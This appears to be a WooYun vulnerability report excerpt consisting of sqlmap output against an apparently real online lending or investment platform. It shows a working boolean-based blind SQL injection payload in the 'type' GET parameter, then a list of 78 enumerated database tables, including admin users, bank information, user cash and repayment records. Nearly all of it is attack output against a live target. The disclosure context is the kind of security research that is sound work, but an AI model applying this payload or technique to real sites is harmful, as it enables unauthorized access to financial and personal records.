WooYun.org

Parameter: type (GET)
    Type: boolean-based blind
    Title: MySQL >= 5.0 boolean-based blind - Parameter replace
    Payload: type=(SELECT (CASE WHEN (5430=5430) THEN 5430 ELSE 5430*(SELECT 5430 FROM INFORMATION_SCHEMA.CHARACTER_SETS) END))&status=0&income=0&condition=close&payment=0&cycle=0

[78 tables]
+---------------------------+
| vvt_admin_funcs           |
| vvt_admin_role_funcs      |
| vvt_admin_roles           |
| vvt_admin_user            |
| vvt_areas                 |
| vvt_assign                |
| vvt_assign_audit          |
| vvt_bankinfo              |
| vvt_banks                 |
| vvt_banks_branch          |
| vvt_banner                |
| vvt_cautioner             |
| vvt_cautioner_property    |
| vvt_charge                |
| vvt_charge_company        |
| vvt_check_user_account    |
| vvt_checkmobile           |
| vvt_chinapnr_bankinfo     |
| vvt_cms_category          |
| vvt_company               |
| vvt_company_loan          |
| vvt_company_property      |
| vvt_crontab               |
| vvt_csai_push             |
| vvt_discharge             |
| vvt_discharge_company     |
| vvt_flink_partner         |
| vvt_illegalusername       |
| vvt_income                |
| vvt_invest                |
| vvt_invitation            |
| vvt_invite_reward         |
| vvt_log                   |
| vvt_message               |
| vvt_messagesend           |
| vvt_move_statistics       |
| vvt_newcms                |
| vvt_payment               |
| vvt_payment_copy          |
| vvt_personal_approveinfo  |
| vvt_personal_property     |
| vvt_petition              |
| vvt_platform              |
| vvt_project               |
| vvt_project_copy          |
| vvt_project_othergain     |
| vvt_project_pregain       |
| vvt_project_property      |
| vvt_project_schedule      |
| vvt_project_schedule_copy |
| vvt_promote_summary       |
| vvt_property              |
| vvt_question              |
| vvt_repayment             |
| vvt_repayment_copy        |
| vvt_reviewsinfo           |
| vvt_role                  |
| vvt_spread_award          |
| vvt_spread_duanwu         |
| vvt_spread_times          |
| vvt_survey_options        |
| vvt_survey_questions      |
| vvt_sys_company_pay       |
| vvt_sys_profit            |
| vvt_user                  |
| vvt_user_cash             |
| vvt_user_gain             |
| vvt_user_gain_copy        |
| vvt_user_log              |
| vvt_user_money_log        |
| vvt_user_property         |
| vvt_user_property_copy    |
| vvt_user_rebate           |
| vvt_user_repayment        |
| vvt_user_reward           |
| vvt_user_service_log      |
| vvt_user_suggestion       |
| vvt_user_survey_log       |
+---------------------------+